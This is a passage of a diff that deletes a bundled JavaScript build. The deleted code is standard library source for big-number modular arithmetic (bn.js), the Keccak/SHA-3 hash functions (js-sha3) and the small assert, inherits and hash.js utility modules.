19 + carry; - var lo = hi & 67108863; - hi >>>= 26; - num.words[i] = lo; - carry = hi; - } - if (carry !== 0) { - num.words[num.length++] = carry; - } - return num; - }; - BN4._prime = function prime(name) { - if (primes[name]) - return primes[name]; - var prime2; - if (name === "k256") { - prime2 = new K256(); - } else if (name === "p224") { - prime2 = new P224(); - } else if (name === "p192") { - prime2 = new P192(); - } else if (name === "p25519") { - prime2 = new P25519(); - } else { - throw new Error("Unknown prime " + name); - } - primes[name] = prime2; - return prime2; - }; - function Red(m) { - if (typeof m === "string") { - var prime = BN4._prime(m); - this.m = prime.p; - this.prime = prime; - } else { - assert3(m.gtn(1), "modulus must be greater than 1"); - this.m = m; - this.prime = null; - } - } - Red.prototype._verify1 = function _verify1(a) { - assert3(a.negative === 0, "red works only with positives"); - assert3(a.red, "red works only with red numbers"); - }; - Red.prototype._verify2 = function _verify2(a, b) { - assert3((a.negative | b.negative) === 0, "red works only with positives"); - assert3( - a.red && a.red === b.red, - "red works only with red numbers" - ); - }; - Red.prototype.imod = function imod(a) { - if (this.prime) - return this.prime.ireduce(a)._forceRed(this); - move(a, a.umod(this.m)._forceRed(this)); - return a; - }; - Red.prototype.neg = function neg5(a) { - if (a.isZero()) { - return a.clone(); - } - return this.m.sub(a)._forceRed(this); - }; - Red.prototype.add = function add5(a, b) { - this._verify2(a, b); - var res = a.add(b); - if (res.cmp(this.m) >= 0) { - res.isub(this.m); - } - return res._forceRed(this); - }; - Red.prototype.iadd = function iadd(a, b) { - this._verify2(a, b); - var res = a.iadd(b); - if (res.cmp(this.m) >= 0) { - res.isub(this.m); - } - return res; - }; - Red.prototype.sub = function sub(a, b) { - this._verify2(a, b); - var res = a.sub(b); - if (res.cmpn(0) < 0) { - res.iadd(this.m); - } - return res._forceRed(this); - }; - Red.prototype.isub = function isub(a, b) { - this._verify2(a, b); - var res = a.isub(b); - if (res.cmpn(0) < 0) { - res.iadd(this.m); - } - return res; - }; - Red.prototype.shl = function shl(a, num) { - this._verify1(a); - return this.imod(a.ushln(num)); - }; - Red.prototype.imul = function imul(a, b) { - this._verify2(a, b); - return this.imod(a.imul(b)); - }; - Red.prototype.mul = function mul5(a, b) { - this._verify2(a, b); - return this.imod(a.mul(b)); - }; - Red.prototype.isqr = function isqr(a) { - return this.imul(a, a.clone()); - }; - Red.prototype.sqr = function sqr(a) { - return this.mul(a, a); - }; - Red.prototype.sqrt = function sqrt(a) { - if (a.isZero()) - return a.clone(); - var mod3 = this.m.andln(3); - assert3(mod3 % 2 === 1); - if (mod3 === 3) { - var pow = this.m.add(new BN4(1)).iushrn(2); - return this.pow(a, pow); - } - var q = this.m.subn(1); - var s = 0; - while (!q.isZero() && q.andln(1) === 0) { - s++; - q.iushrn(1); - } - assert3(!q.isZero()); - var one = new BN4(1).toRed(this); - var nOne = one.redNeg(); - var lpow = this.m.subn(1).iushrn(1); - var z = this.m.bitLength(); - z = new BN4(2 * z * z).toRed(this); - while (this.pow(z, lpow).cmp(nOne) !== 0) { - z.redIAdd(nOne); - } - var c = this.pow(z, q); - var r3 = this.pow(a, q.addn(1).iushrn(1)); - var t = this.pow(a, q); - var m = s; - while (t.cmp(one) !== 0) { - var tmp = t; - for (var i = 0; tmp.cmp(one) !== 0; i++) { - tmp = tmp.redSqr(); - } - assert3(i < m); - var b = this.pow(c, new BN4(1).iushln(m - i - 1)); - r3 = r3.redMul(b); - c = b.redSqr(); - t = t.redMul(c); - m = i; - } - return r3; - }; - Red.prototype.invm = function invm(a) { - var inv = a._invmp(this.m); - if (inv.negative !== 0) { - inv.negative = 0; - return this.imod(inv).redNeg(); - } else { - return this.imod(inv); - } - }; - Red.prototype.pow = function pow(a, num) { - if (num.isZero()) - return new BN4(1).toRed(this); - if (num.cmpn(1) === 0) - return a.clone(); - var windowSize = 4; - var wnd = new Array(1 << windowSize); - wnd[0] = new BN4(1).toRed(this); - wnd[1] = a; - for (var i = 2; i < wnd.length; i++) { - wnd[i] = this.mul(wnd[i - 1], a); - } - var res = wnd[0]; - var current = 0; - var currentLen = 0; - var start = num.bitLength() % 26; - if (start === 0) { - start = 26; - } - for (i = num.length - 1; i >= 0; i--) { - var word = num.words[i]; - for (var j = start - 1; j >= 0; j--) { - var bit = word >> j & 1; - if (res !== wnd[0]) { - res = this.sqr(res); - } - if (bit === 0 && current === 0) { - currentLen = 0; - continue; - } - current <<= 1; - current |= bit; - currentLen++; - if (currentLen !== windowSize && (i !== 0 || j !== 0)) - continue; - res = this.mul(res, wnd[current]); - currentLen = 0; - current = 0; - } - start = 26; - } - return res; - }; - Red.prototype.convertTo = function convertTo(num) { - var r3 = num.umod(this.m); - return r3 === num ? r3.clone() : r3; - }; - Red.prototype.convertFrom = function convertFrom(num) { - var res = num.clone(); - res.red = null; - return res; - }; - BN4.mont = function mont(num) { - return new Mont(num); - }; - function Mont(m) { - Red.call(this, m); - this.shift = this.m.bitLength(); - if (this.shift % 26 !== 0) { - this.shift += 26 - this.shift % 26; - } - this.r = new BN4(1).iushln(this.shift); - this.r2 = this.imod(this.r.sqr()); - this.rinv = this.r._invmp(this.m); - this.minv = this.rinv.mul(this.r).isubn(1).div(this.m); - this.minv = this.minv.umod(this.r); - this.minv = this.r.sub(this.minv); - } - inherits2(Mont, Red); - Mont.prototype.convertTo = function convertTo(num) { - return this.imod(num.ushln(this.shift)); - }; - Mont.prototype.convertFrom = function convertFrom(num) { - var r3 = this.imod(num.mul(this.rinv)); - r3.red = null; - return r3; - }; - Mont.prototype.imul = function imul(a, b) { - if (a.isZero() || b.isZero()) { - a.words[0] = 0; - a.length = 1; - return a; - } - var t = a.imul(b); - var c = t.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m); - var u = t.isub(c).iushrn(this.shift); - var res = u; - if (u.cmp(this.m) >= 0) { - res = u.isub(this.m); - } else if (u.cmpn(0) < 0) { - res = u.iadd(this.m); - } - return res._forceRed(this); - }; - Mont.prototype.mul = function mul5(a, b) { - if (a.isZero() || b.isZero()) - return new BN4(0)._forceRed(this); - var t = a.mul(b); - var c = t.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m); - var u = t.isub(c).iushrn(this.shift); - var res = u; - if (u.cmp(this.m) >= 0) { - res = u.isub(this.m); - } else if (u.cmpn(0) < 0) { - res = u.iadd(this.m); - } - return res._forceRed(this); - }; - Mont.prototype.invm = function invm(a) { - var res = this.imod(a._invmp(this.m).mul(this.r2)); - return res._forceRed(this); - }; - })(typeof module === "undefined" || module, exports); - } - }); - - // node_modules/js-sha3/src/sha3.js - var require_sha32 = __commonJS({ - "node_modules/js-sha3/src/sha3.js"(exports, module) { - (function() { - "use strict"; - var INPUT_ERROR = "input is invalid type"; - var FINALIZE_ERROR = "finalize already called"; - var WINDOW = typeof window === "object"; - var root = WINDOW ? window : {}; - if (root.JS_SHA3_NO_WINDOW) { - WINDOW = false; - } - var WEB_WORKER = !WINDOW && typeof self === "object"; - var NODE_JS = !root.JS_SHA3_NO_NODE_JS && typeof process === "object" && process.versions && process.versions.node; - if (NODE_JS) { - root = global; - } else if (WEB_WORKER) { - root = self; - } - var COMMON_JS = !root.JS_SHA3_NO_COMMON_JS && typeof module === "object" && module.exports; - var AMD = typeof define === "function" && define.amd; - var ARRAY_BUFFER = !root.JS_SHA3_NO_ARRAY_BUFFER && typeof ArrayBuffer !== "undefined"; - var HEX_CHARS = "0123456789abcdef".split(""); - var SHAKE_PADDING = [31, 7936, 2031616, 520093696]; - var CSHAKE_PADDING = [4, 1024, 262144, 67108864]; - var KECCAK_PADDING = [1, 256, 65536, 16777216]; - var PADDING = [6, 1536, 393216, 100663296]; - var SHIFT = [0, 8, 16, 24]; - var RC = [ - 1, - 0, - 32898, - 0, - 32906, - 2147483648, - 2147516416, - 2147483648, - 32907, - 0, - 2147483649, - 0, - 2147516545, - 2147483648, - 32777, - 2147483648, - 138, - 0, - 136, - 0, - 2147516425, - 0, - 2147483658, - 0, - 2147516555, - 0, - 139, - 2147483648, - 32905, - 2147483648, - 32771, - 2147483648, - 32770, - 2147483648, - 128, - 2147483648, - 32778, - 0, - 2147483658, - 2147483648, - 2147516545, - 2147483648, - 32896, - 2147483648, - 2147483649, - 0, - 2147516424, - 2147483648 - ]; - var BITS = [224, 256, 384, 512]; - var SHAKE_BITS = [128, 256]; - var OUTPUT_TYPES = ["hex", "buffer", "arrayBuffer", "array", "digest"]; - var CSHAKE_BYTEPAD = { - "128": 168, - "256": 136 - }; - if (root.JS_SHA3_NO_NODE_JS || !Array.isArray) { - Array.isArray = function(obj) { - return Object.prototype.toString.call(obj) === "[object Array]"; - }; - } - if (ARRAY_BUFFER && (root.JS_SHA3_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) { - ArrayBuffer.isView = function(obj) { - return typeof obj === "object" && obj.buffer && obj.buffer.constructor === ArrayBuffer; - }; - } - var createOutputMethod = function(bits2, padding3, outputType) { - return function(message) { - return new Keccak(bits2, padding3, bits2).update(message)[outputType](); - }; - }; - var createShakeOutputMethod = function(bits2, padding3, outputType) { - return function(message, outputBits) { - return new Keccak(bits2, padding3, outputBits).update(message)[outputType](); - }; - }; - var createCshakeOutputMethod = function(bits2, padding3, outputType) { - return function(message, outputBits, n, s) { - return methods["cshake" + bits2].update(message, outputBits, n, s)[outputType](); - }; - }; - var createKmacOutputMethod = function(bits2, padding3, outputType) { - return function(key3, message, outputBits, s) { - return methods["kmac" + bits2].update(key3, message, outputBits, s)[outputType](); - }; - }; - var createOutputMethods = function(method, createMethod2, bits2, padding3) { - for (var i2 = 0; i2 < OUTPUT_TYPES.length; ++i2) { - var type = OUTPUT_TYPES[i2]; - method[type] = createMethod2(bits2, padding3, type); - } - return method; - }; - var createMethod = function(bits2, padding3) { - var method = createOutputMethod(bits2, padding3, "hex"); - method.create = function() { - return new Keccak(bits2, padding3, bits2); - }; - method.update = function(message) { - return method.create().update(message); - }; - return createOutputMethods(method, createOutputMethod, bits2, padding3); - }; - var createShakeMethod = function(bits2, padding3) { - var method = createShakeOutputMethod(bits2, padding3, "hex"); - method.create = function(outputBits) { - return new Keccak(bits2, padding3, outputBits); - }; - method.update = function(message, outputBits) { - return method.create(outputBits).update(message); - }; - return createOutputMethods(method, createShakeOutputMethod, bits2, padding3); - }; - var createCshakeMethod = function(bits2, padding3) { - var w = CSHAKE_BYTEPAD[bits2]; - var method = createCshakeOutputMethod(bits2, padding3, "hex"); - method.create = function(outputBits, n, s) { - if (!n && !s) { - return methods["shake" + bits2].create(outputBits); - } else { - return new Keccak(bits2, padding3, outputBits).bytepad([n, s], w); - } - }; - method.update = function(message, outputBits, n, s) { - return method.create(outputBits, n, s).update(message); - }; - return createOutputMethods(method, createCshakeOutputMethod, bits2, padding3); - }; - var createKmacMethod = function(bits2, padding3) { - var w = CSHAKE_BYTEPAD[bits2]; - var method = createKmacOutputMethod(bits2, padding3, "hex"); - method.create = function(key3, outputBits, s) { - return new Kmac(bits2, padding3, outputBits).bytepad(["KMAC", s], w).bytepad([key3], w); - }; - method.update = function(key3, message, outputBits, s) { - return method.create(key3, outputBits, s).update(message); - }; - return createOutputMethods(method, createKmacOutputMethod, bits2, padding3); - }; - var algorithms = [ - { name: "keccak", padding: KECCAK_PADDING, bits: BITS, createMethod }, - { name: "sha3", padding: PADDING, bits: BITS, createMethod }, - { name: "shake", padding: SHAKE_PADDING, bits: SHAKE_BITS, createMethod: createShakeMethod }, - { name: "cshake", padding: CSHAKE_PADDING, bits: SHAKE_BITS, createMethod: createCshakeMethod }, - { name: "kmac", padding: CSHAKE_PADDING, bits: SHAKE_BITS, createMethod: createKmacMethod } - ]; - var methods = {}, methodNames = []; - for (var i = 0; i < algorithms.length; ++i) { - var algorithm = algorithms[i]; - var bits = algorithm.bits; - for (var j = 0; j < bits.length; ++j) { - var methodName = algorithm.name + "_" + bits[j]; - methodNames.push(methodName); - methods[methodName] = algorithm.createMethod(bits[j], algorithm.padding); - if (algorithm.name !== "sha3") { - var newMethodName = algorithm.name + bits[j]; - methodNames.push(newMethodName); - methods[newMethodName] = methods[methodName]; - } - } - } - function Keccak(bits2, padding3, outputBits) { - this.blocks = []; - this.s = []; - this.padding = padding3; - this.outputBits = outputBits; - this.reset = true; - this.finalized = false; - this.block = 0; - this.start = 0; - this.blockCount = 1600 - (bits2 << 1) >> 5; - this.byteCount = this.blockCount << 2; - this.outputBlocks = outputBits >> 5; - this.extraBytes = (outputBits & 31) >> 3; - for (var i2 = 0; i2 < 50; ++i2) { - this.s[i2] = 0; - } - } - Keccak.prototype.update = function(message) { - if (this.finalized) { - throw new Error(FINALIZE_ERROR); - } - var notString, type = typeof message; - if (type !== "string") { - if (type === "object") { - if (message === null) { - throw new Error(INPUT_ERROR); - } else if (ARRAY_BUFFER && message.constructor === ArrayBuffer) { - message = new Uint8Array(message); - } else if (!Array.isArray(message)) { - if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) { - throw new Error(INPUT_ERROR); - } - } - } else { - throw new Error(INPUT_ERROR); - } - notString = true; - } - var blocks = this.blocks, byteCount = this.byteCount, length = message.length, blockCount = this.blockCount, index2 = 0, s = this.s, i2, code; - while (index2 < length) { - if (this.reset) { - this.reset = false; - blocks[0] = this.block; - for (i2 = 1; i2 < blockCount + 1; ++i2) { - blocks[i2] = 0; - } - } - if (notString) { - for (i2 = this.start; index2 < length && i2 < byteCount; ++index2) { - blocks[i2 >> 2] |= message[index2] << SHIFT[i2++ & 3]; - } - } else { - for (i2 = this.start; index2 < length && i2 < byteCount; ++index2) { - code = message.charCodeAt(index2); - if (code < 128) { - blocks[i2 >> 2] |= code << SHIFT[i2++ & 3]; - } else if (code < 2048) { - blocks[i2 >> 2] |= (192 | code >> 6) << SHIFT[i2++ & 3]; - blocks[i2 >> 2] |= (128 | code & 63) << SHIFT[i2++ & 3]; - } else if (code < 55296 || code >= 57344) { - blocks[i2 >> 2] |= (224 | code >> 12) << SHIFT[i2++ & 3]; - blocks[i2 >> 2] |= (128 | code >> 6 & 63) << SHIFT[i2++ & 3]; - blocks[i2 >> 2] |= (128 | code & 63) << SHIFT[i2++ & 3]; - } else { - code = 65536 + ((code & 1023) << 10 | message.charCodeAt(++index2) & 1023); - blocks[i2 >> 2] |= (240 | code >> 18) << SHIFT[i2++ & 3]; - blocks[i2 >> 2] |= (128 | code >> 12 & 63) << SHIFT[i2++ & 3]; - blocks[i2 >> 2] |= (128 | code >> 6 & 63) << SHIFT[i2++ & 3]; - blocks[i2 >> 2] |= (128 | code & 63) << SHIFT[i2++ & 3]; - } - } - } - this.lastByteIndex = i2; - if (i2 >= byteCount) { - this.start = i2 - byteCount; - this.block = blocks[blockCount]; - for (i2 = 0; i2 < blockCount; ++i2) { - s[i2] ^= blocks[i2]; - } - f(s); - this.reset = true; - } else { - this.start = i2; - } - } - return this; - }; - Keccak.prototype.encode = function(x, right) { - var o = x & 255, n = 1; - var bytes = [o]; - x = x >> 8; - o = x & 255; - while (o > 0) { - bytes.unshift(o); - x = x >> 8; - o = x & 255; - ++n; - } - if (right) { - bytes.push(n); - } else { - bytes.unshift(n); - } - this.update(bytes); - return bytes.length; - }; - Keccak.prototype.encodeString = function(str) { - var notString, type = typeof str; - if (type !== "string") { - if (type === "object") { - if (str === null) { - throw new Error(INPUT_ERROR); - } else if (ARRAY_BUFFER && str.constructor === ArrayBuffer) { - str = new Uint8Array(str); - } else if (!Array.isArray(str)) { - if (!ARRAY_BUFFER || !ArrayBuffer.isView(str)) { - throw new Error(INPUT_ERROR); - } - } - } else { - throw new Error(INPUT_ERROR); - } - notString = true; - } - var bytes = 0, length = str.length; - if (notString) { - bytes = length; - } else { - for (var i2 = 0; i2 < str.length; ++i2) { - var code = str.charCodeAt(i2); - if (code < 128) { - bytes += 1; - } else if (code < 2048) { - bytes += 2; - } else if (code < 55296 || code >= 57344) { - bytes += 3; - } else { - code = 65536 + ((code & 1023) << 10 | str.charCodeAt(++i2) & 1023); - bytes += 4; - } - } - } - bytes += this.encode(bytes * 8); - this.update(str); - return bytes; - }; - Keccak.prototype.bytepad = function(strs, w) { - var bytes = this.encode(w); - for (var i2 = 0; i2 < strs.length; ++i2) { - bytes += this.encodeString(strs[i2]); - } - var paddingBytes = w - bytes % w; - var zeros2 = []; - zeros2.length = paddingBytes; - this.update(zeros2); - return this; - }; - Keccak.prototype.finalize = function() { - if (this.finalized) { - return; - } - this.finalized = true; - var blocks = this.blocks, i2 = this.lastByteIndex, blockCount = this.blockCount, s = this.s; - blocks[i2 >> 2] |= this.padding[i2 & 3]; - if (this.lastByteIndex === this.byteCount) { - blocks[0] = blocks[blockCount]; - for (i2 = 1; i2 < blockCount + 1; ++i2) { - blocks[i2] = 0; - } - } - blocks[blockCount - 1] |= 2147483648; - for (i2 = 0; i2 < blockCount; ++i2) { - s[i2] ^= blocks[i2]; - } - f(s); - }; - Keccak.prototype.toString = Keccak.prototype.hex = function() { - this.finalize(); - var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks, extraBytes = this.extraBytes, i2 = 0, j2 = 0; - var hex = "", block; - while (j2 < outputBlocks) { - for (i2 = 0; i2 < blockCount && j2 < outputBlocks; ++i2, ++j2) { - block = s[i2]; - hex += HEX_CHARS[block >> 4 & 15] + HEX_CHARS[block & 15] + HEX_CHARS[block >> 12 & 15] + HEX_CHARS[block >> 8 & 15] + HEX_CHARS[block >> 20 & 15] + HEX_CHARS[block >> 16 & 15] + HEX_CHARS[block >> 28 & 15] + HEX_CHARS[block >> 24 & 15]; - } - if (j2 % blockCount === 0) { - f(s); - i2 = 0; - } - } - if (extraBytes) { - block = s[i2]; - hex += HEX_CHARS[block >> 4 & 15] + HEX_CHARS[block & 15]; - if (extraBytes > 1) { - hex += HEX_CHARS[block >> 12 & 15] + HEX_CHARS[block >> 8 & 15]; - } - if (extraBytes > 2) { - hex += HEX_CHARS[block >> 20 & 15] + HEX_CHARS[block >> 16 & 15]; - } - } - return hex; - }; - Keccak.prototype.arrayBuffer = function() { - this.finalize(); - var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks, extraBytes = this.extraBytes, i2 = 0, j2 = 0; - var bytes = this.outputBits >> 3; - var buffer; - if (extraBytes) { - buffer = new ArrayBuffer(outputBlocks + 1 << 2); - } else { - buffer = new ArrayBuffer(bytes); - } - var array = new Uint32Array(buffer); - while (j2 < outputBlocks) { - for (i2 = 0; i2 < blockCount && j2 < outputBlocks; ++i2, ++j2) { - array[j2] = s[i2]; - } - if (j2 % blockCount === 0) { - f(s); - } - } - if (extraBytes) { - array[i2] = s[i2]; - buffer = buffer.slice(0, bytes); - } - return buffer; - }; - Keccak.prototype.buffer = Keccak.prototype.arrayBuffer; - Keccak.prototype.digest = Keccak.prototype.array = function() { - this.finalize(); - var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks, extraBytes = this.extraBytes, i2 = 0, j2 = 0; - var array = [], offset, block; - while (j2 < outputBlocks) { - for (i2 = 0; i2 < blockCount && j2 < outputBlocks; ++i2, ++j2) { - offset = j2 << 2; - block = s[i2]; - array[offset] = block & 255; - array[offset + 1] = block >> 8 & 255; - array[offset + 2] = block >> 16 & 255; - array[offset + 3] = block >> 24 & 255; - } - if (j2 % blockCount === 0) { - f(s); - } - } - if (extraBytes) { - offset = j2 << 2; - block = s[i2]; - array[offset] = block & 255; - if (extraBytes > 1) { - array[offset + 1] = block >> 8 & 255; - } - if (extraBytes > 2) { - array[offset + 2] = block >> 16 & 255; - } - } - return array; - }; - function Kmac(bits2, padding3, outputBits) { - Keccak.call(this, bits2, padding3, outputBits); - } - Kmac.prototype = new Keccak(); - Kmac.prototype.finalize = function() { - this.encode(this.outputBits, true); - return Keccak.prototype.finalize.call(this); - }; - var f = function(s) { - var h, l, n, c0, c1, c2, c3, c4, c5, c6, c7, c8, c9, b0, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47, b48, b49; - for (n = 0; n < 48; n += 2) { - c0 = s[0] ^ s[10] ^ s[20] ^ s[30] ^ s[40]; - c1 = s[1] ^ s[11] ^ s[21] ^ s[31] ^ s[41]; - c2 = s[2] ^ s[12] ^ s[22] ^ s[32] ^ s[42]; - c3 = s[3] ^ s[13] ^ s[23] ^ s[33] ^ s[43]; - c4 = s[4] ^ s[14] ^ s[24] ^ s[34] ^ s[44]; - c5 = s[5] ^ s[15] ^ s[25] ^ s[35] ^ s[45]; - c6 = s[6] ^ s[16] ^ s[26] ^ s[36] ^ s[46]; - c7 = s[7] ^ s[17] ^ s[27] ^ s[37] ^ s[47]; - c8 = s[8] ^ s[18] ^ s[28] ^ s[38] ^ s[48]; - c9 = s[9] ^ s[19] ^ s[29] ^ s[39] ^ s[49]; - h = c8 ^ (c2 << 1 | c3 >>> 31); - l = c9 ^ (c3 << 1 | c2 >>> 31); - s[0] ^= h; - s[1] ^= l; - s[10] ^= h; - s[11] ^= l; - s[20] ^= h; - s[21] ^= l; - s[30] ^= h; - s[31] ^= l; - s[40] ^= h; - s[41] ^= l; - h = c0 ^ (c4 << 1 | c5 >>> 31); - l = c1 ^ (c5 << 1 | c4 >>> 31); - s[2] ^= h; - s[3] ^= l; - s[12] ^= h; - s[13] ^= l; - s[22] ^= h; - s[23] ^= l; - s[32] ^= h; - s[33] ^= l; - s[42] ^= h; - s[43] ^= l; - h = c2 ^ (c6 << 1 | c7 >>> 31); - l = c3 ^ (c7 << 1 | c6 >>> 31); - s[4] ^= h; - s[5] ^= l; - s[14] ^= h; - s[15] ^= l; - s[24] ^= h; - s[25] ^= l; - s[34] ^= h; - s[35] ^= l; - s[44] ^= h; - s[45] ^= l; - h = c4 ^ (c8 << 1 | c9 >>> 31); - l = c5 ^ (c9 << 1 | c8 >>> 31); - s[6] ^= h; - s[7] ^= l; - s[16] ^= h; - s[17] ^= l; - s[26] ^= h; - s[27] ^= l; - s[36] ^= h; - s[37] ^= l; - s[46] ^= h; - s[47] ^= l; - h = c6 ^ (c0 << 1 | c1 >>> 31); - l = c7 ^ (c1 << 1 | c0 >>> 31); - s[8] ^= h; - s[9] ^= l; - s[18] ^= h; - s[19] ^= l; - s[28] ^= h; - s[29] ^= l; - s[38] ^= h; - s[39] ^= l; - s[48] ^= h; - s[49] ^= l; - b0 = s[0]; - b1 = s[1]; - b32 = s[11] << 4 | s[10] >>> 28; - b33 = s[10] << 4 | s[11] >>> 28; - b14 = s[20] << 3 | s[21] >>> 29; - b15 = s[21] << 3 | s[20] >>> 29; - b46 = s[31] << 9 | s[30] >>> 23; - b47 = s[30] << 9 | s[31] >>> 23; - b28 = s[40] << 18 | s[41] >>> 14; - b29 = s[41] << 18 | s[40] >>> 14; - b20 = s[2] << 1 | s[3] >>> 31; - b21 = s[3] << 1 | s[2] >>> 31; - b2 = s[13] << 12 | s[12] >>> 20; - b3 = s[12] << 12 | s[13] >>> 20; - b34 = s[22] << 10 | s[23] >>> 22; - b35 = s[23] << 10 | s[22] >>> 22; - b16 = s[33] << 13 | s[32] >>> 19; - b17 = s[32] << 13 | s[33] >>> 19; - b48 = s[42] << 2 | s[43] >>> 30; - b49 = s[43] << 2 | s[42] >>> 30; - b40 = s[5] << 30 | s[4] >>> 2; - b41 = s[4] << 30 | s[5] >>> 2; - b22 = s[14] << 6 | s[15] >>> 26; - b23 = s[15] << 6 | s[14] >>> 26; - b4 = s[25] << 11 | s[24] >>> 21; - b5 = s[24] << 11 | s[25] >>> 21; - b36 = s[34] << 15 | s[35] >>> 17; - b37 = s[35] << 15 | s[34] >>> 17; - b18 = s[45] << 29 | s[44] >>> 3; - b19 = s[44] << 29 | s[45] >>> 3; - b10 = s[6] << 28 | s[7] >>> 4; - b11 = s[7] << 28 | s[6] >>> 4; - b42 = s[17] << 23 | s[16] >>> 9; - b43 = s[16] << 23 | s[17] >>> 9; - b24 = s[26] << 25 | s[27] >>> 7; - b25 = s[27] << 25 | s[26] >>> 7; - b6 = s[36] << 21 | s[37] >>> 11; - b7 = s[37] << 21 | s[36] >>> 11; - b38 = s[47] << 24 | s[46] >>> 8; - b39 = s[46] << 24 | s[47] >>> 8; - b30 = s[8] << 27 | s[9] >>> 5; - b31 = s[9] << 27 | s[8] >>> 5; - b12 = s[18] << 20 | s[19] >>> 12; - b13 = s[19] << 20 | s[18] >>> 12; - b44 = s[29] << 7 | s[28] >>> 25; - b45 = s[28] << 7 | s[29] >>> 25; - b26 = s[38] << 8 | s[39] >>> 24; - b27 = s[39] << 8 | s[38] >>> 24; - b8 = s[48] << 14 | s[49] >>> 18; - b9 = s[49] << 14 | s[48] >>> 18; - s[0] = b0 ^ ~b2 & b4; - s[1] = b1 ^ ~b3 & b5; - s[10] = b10 ^ ~b12 & b14; - s[11] = b11 ^ ~b13 & b15; - s[20] = b20 ^ ~b22 & b24; - s[21] = b21 ^ ~b23 & b25; - s[30] = b30 ^ ~b32 & b34; - s[31] = b31 ^ ~b33 & b35; - s[40] = b40 ^ ~b42 & b44; - s[41] = b41 ^ ~b43 & b45; - s[2] = b2 ^ ~b4 & b6; - s[3] = b3 ^ ~b5 & b7; - s[12] = b12 ^ ~b14 & b16; - s[13] = b13 ^ ~b15 & b17; - s[22] = b22 ^ ~b24 & b26; - s[23] = b23 ^ ~b25 & b27; - s[32] = b32 ^ ~b34 & b36; - s[33] = b33 ^ ~b35 & b37; - s[42] = b42 ^ ~b44 & b46; - s[43] = b43 ^ ~b45 & b47; - s[4] = b4 ^ ~b6 & b8; - s[5] = b5 ^ ~b7 & b9; - s[14] = b14 ^ ~b16 & b18; - s[15] = b15 ^ ~b17 & b19; - s[24] = b24 ^ ~b26 & b28; - s[25] = b25 ^ ~b27 & b29; - s[34] = b34 ^ ~b36 & b38; - s[35] = b35 ^ ~b37 & b39; - s[44] = b44 ^ ~b46 & b48; - s[45] = b45 ^ ~b47 & b49; - s[6] = b6 ^ ~b8 & b0; - s[7] = b7 ^ ~b9 & b1; - s[16] = b16 ^ ~b18 & b10; - s[17] = b17 ^ ~b19 & b11; - s[26] = b26 ^ ~b28 & b20; - s[27] = b27 ^ ~b29 & b21; - s[36] = b36 ^ ~b38 & b30; - s[37] = b37 ^ ~b39 & b31; - s[46] = b46 ^ ~b48 & b40; - s[47] = b47 ^ ~b49 & b41; - s[8] = b8 ^ ~b0 & b2; - s[9] = b9 ^ ~b1 & b3; - s[18] = b18 ^ ~b10 & b12; - s[19] = b19 ^ ~b11 & b13; - s[28] = b28 ^ ~b20 & b22; - s[29] = b29 ^ ~b21 & b23; - s[38] = b38 ^ ~b30 & b32; - s[39] = b39 ^ ~b31 & b33; - s[48] = b48 ^ ~b40 & b42; - s[49] = b49 ^ ~b41 & b43; - s[0] ^= RC[n]; - s[1] ^= RC[n + 1]; - } - }; - if (COMMON_JS) { - module.exports = methods; - } else { - for (i = 0; i < methodNames.length; ++i) { - root[methodNames[i]] = methods[methodNames[i]]; - } - if (AMD) { - define(function() { - return methods; - }); - } - } - })(); - } - }); - - // node_modules/minimalistic-assert/index.js - var require_minimalistic_assert2 = __commonJS({ - "node_modules/minimalistic-assert/index.js"(exports, module) { - module.exports = assert3; - function assert3(val, msg) { - if (!val) - throw new Error(msg || "Assertion failed"); - } - assert3.equal = function assertEqual3(l, r3, msg) { - if (l != r3) - throw new Error(msg || "Assertion failed: " + l + " != " + r3); - }; - } - }); - - // node_modules/inherits/inherits_browser.js - var require_inherits_browser2 = __commonJS({ - "node_modules/inherits/inherits_browser.js"(exports, module) { - if (typeof Object.create === "function") { - module.exports = function inherits2(ctor, superCtor) { - if (superCtor) { - ctor.super_ = superCtor; - ctor.prototype = Object.create(superCtor.prototype, { - constructor: { - value: ctor, - enumerable: false, - writable: true, - configurable: true - } - }); - } - }; - } else { - module.exports = function inherits2(ctor, superCtor) { - if (superCtor) { - ctor.super_ = superCtor; - var TempCtor = function() { - }; - TempCtor.prototype = superCtor.prototype; - ctor.prototype = new TempCtor(); - ctor.prototype.constructor = ctor; - } - }; - } - } - }); - - // node_modules/hash.js/lib/hash/utils.js - var require_utils2 = __commonJS({ - "node_modules/hash.js/lib/hash/utils.js"(exports) { - "use strict"; - var assert3 = require_minimalistic_assert2(); - var inherits2 = require_inherits_browser2(); - exports.inherits = inherits2; - function isSurrogatePair(msg, i) { - if ((msg.charCodeAt(i) & 64512) !== 55296) { - return false; - } - if (i < 0 || i + 1 >= msg.length) { - return false; - } - return (msg.charCodeAt(i + 1) & 64512) === 56320; - } - function toArray3(msg, enc) { - if (Array.isArray(msg)) - return msg.slice(); - if (!msg) - return []; - var res = []; - if (typeof msg === "string") { - if (!enc) { - var p = 0; - for (var i = 0; i < msg.length; i++) { - var c = msg.charCodeAt(i); - if (c < 128) { - res[p++] = c; - } else if (c < 2048) { - res[p++] = c >> 6 | 192; - res[p++] = c & 63 | 128; - } else if (isSurrogatePair(msg, i)) { - c = 65536 + ((c & 1023) << 10) + (msg.charCodeAt(++i) & 1023); - res[p++] = c >> 18 | 240; - res[p++] = c >> 12 & 63 | 128; - res[p++] = c >> 6 & 63 | 128; - res[p++] = c & 63 | 128; - } else { - res[p++] = c >> 12 | 224; - res[p++] = c >> 6 & 63 | 128; - res[p++] = c & 63 | 128; - } - } - } else if (enc === "hex") { - msg = msg.replace(/[^a-z0-9]+/ig, ""); - if (msg.length % 2 !== 0) - msg = "0" + msg; - for (i = 0; i < msg.length; i += 2) - res.push(parseInt(msg[i] + msg[i + 1], 16)); - } - } else { - for (i = 0; i < msg.length; i++) - res[i] = msg[i] | 0; - } - return res; - } - exports.toArray = toArray3; - function toHex3(msg) { - 